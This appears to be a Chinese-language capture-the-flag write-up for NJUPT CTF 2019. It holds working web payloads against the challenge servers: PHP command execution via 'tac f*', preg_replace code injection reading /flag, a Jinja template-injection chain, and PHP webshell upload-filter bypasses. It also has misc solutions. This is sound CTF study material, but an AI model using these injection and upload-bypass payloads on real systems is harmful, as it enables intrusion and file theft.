NJUPT CTF 2019(wp)

Web

1. easyphp

 
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];

开始构造了:

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."
"
; } else{ die('23333333'); }

First: 可以用到%0a截断,构造 num=23333%0a

//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);
    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'cxhp', '0123');
        $b = strtr($md5_2, 'cxhp', '0123');
        if($a == $b){
            echo '2nd ok'."
"
; } else{ die("can u give me the right str???"); } } else{ die("no!!!!!!!!"); } } else{ die('is str1 numeric??????'); }

Second: 这个可以参照 https://ctftime.org/writeup/8702 , 写一个shell,

$i=0
$count = 0
while($i -lt 1000000000 -and $count -lt 2 )
{
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $utf8 = new-object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($i)))
    $hash = $hash.replace("-", "")
    if($hash -like "CE*" -OR $hash -like "0E*" -and $hash.substring(2) -notmatch "[ABDEF]" )
    {

        write-host -f cyan "Nombre:" $i
        write-host -f Magenta "Hash:" $hash
        write-host "`r`n"
        ++$count
    }
    ++$i
}

呃呃呃呃呃,看不懂也得不出答案。
看到大佬写了个php版本的。理解一下。


$count = 0;
for ($i = 1; $i <= 100000000; $i++) {
    $md5 = strtr(md5($i), 'cxhp', '0123');
    if (preg_match('/^0e\d+$/', $md5)) {
        echo $i . " " . md5($i) . "
"
; $count++; } if ($count == 2) { break; } }

可以构造 str1=2120624&str2=9081940

//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
    die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
    $arr = explode(' ', $cmd);
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
        if(substr_count($cmd, 'cat') === 0){
            system($cmd);
        }
        else{
            die('ban cat :) ');
        }
    }
    else{
        die('bad guy!');
    }
}
else{
    die('nonono _ is bad');
}
?>

Third: 大佬们构造了 q_w_q=tac%20f* 我能说我看不懂吗?
最终构造的结果为:http://nctf2019.x1ct34m.com:60005/?num=23333 &str1=2120624&str2=9081940&q.w.q=tac f*

得到flag:

NCTF{t3is_So_siiimpppllleeee_to_u}

2. Replace

一般看到这种替换的题,首先想到的是 preg_replace()+/e 模式

NJUPT CTF 2019(wp)_第1张图片
但是这题不是这个。

可以试一下直接读取flag文件,sub=a&pat=a&rep=readline(’/flag’), 显示 hack detected!
经检验是过滤了单引号,使用chr()绕过就可以了

sub=a&pat=a&rep=readfile(chr(47).chr(102).chr(108).chr(97).chr(103))

然后得到flag:

NCTF{getshe11_has_different_methods}

3. flask

大佬思路如下:

flask模板注入:

http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__base__.__subclasses__() [40](('galf/'%7Creverse)).read()%7D%7D

其中过滤了flag字符串,用jinja的语法反转字符串绕过
然后得到flag:

NCTF{Y0u_can_n0t_Read_flag_directly}

参考资料:

  • https://www.cnblogs.com/leixiao-/p/10227867.html
  • https://blog.csdn.net/iamsongyu/article/details/83109772

4. Upload your Shell

需要绕过的点:

  • 扩展名为jpg

  • content-type为image/jpeg

  • 文件中包含

      <script language="php"></script>
    
  • 在文件头加上gif89a

    NJUPT CTF 2019(wp)_第2张图片
  • 得到地址,进行访问
    http://nctf2019.x1ct34m.com:60002/index.php?action=upload-imgs/d3c7ade6c87aa4a597b0331a3cdf6557/Th1s_is_a_fl4g.jpg

得到flag:

NCTF{upload_1s_s0_funn7}


Misc

1. a_good_idea

得到图片,foremost分离,得到两张图片,Beyond Compare导入来那个张图片容差比较,扫码得到flag

2. Become a Rockstar

NJUPT CTF 2019(wp)_第3张图片

得到flag:

NCTF{ar_you_nice_rock_star}

3. 键盘侠

  • 用010editor打开压缩包,把504B0304后的第3、4个byte改成0000还有把504B0102后的第5、6个byte改成0000即可破解伪加密。
  • 用foremost可以解压出来一些文件,打开其中的document.xml发现有一处特别奇怪,提示小明看到了一串字符串,但他不知道这是什么意思,PD4idqQC|WjHloX>)UPb8ZFb8laGczAeteE
    -用base58进行解码
    import base64
    base64.b85decode('PD4~idqQC|WjHloX>)UPb8~ZFb8laGczAeteE')
    

得到flag:

NCTF{Ba3e85_issssss_so_xxxxx}

4. pip install

直接提示:run pip install --user nctf-2019-installme to get flag!
按照提示执行命令,得到一个链接,直接打开链接下载安装包。其中setup.py里面的字符串base64解码,得到flag

你可能感兴趣的:(ctf)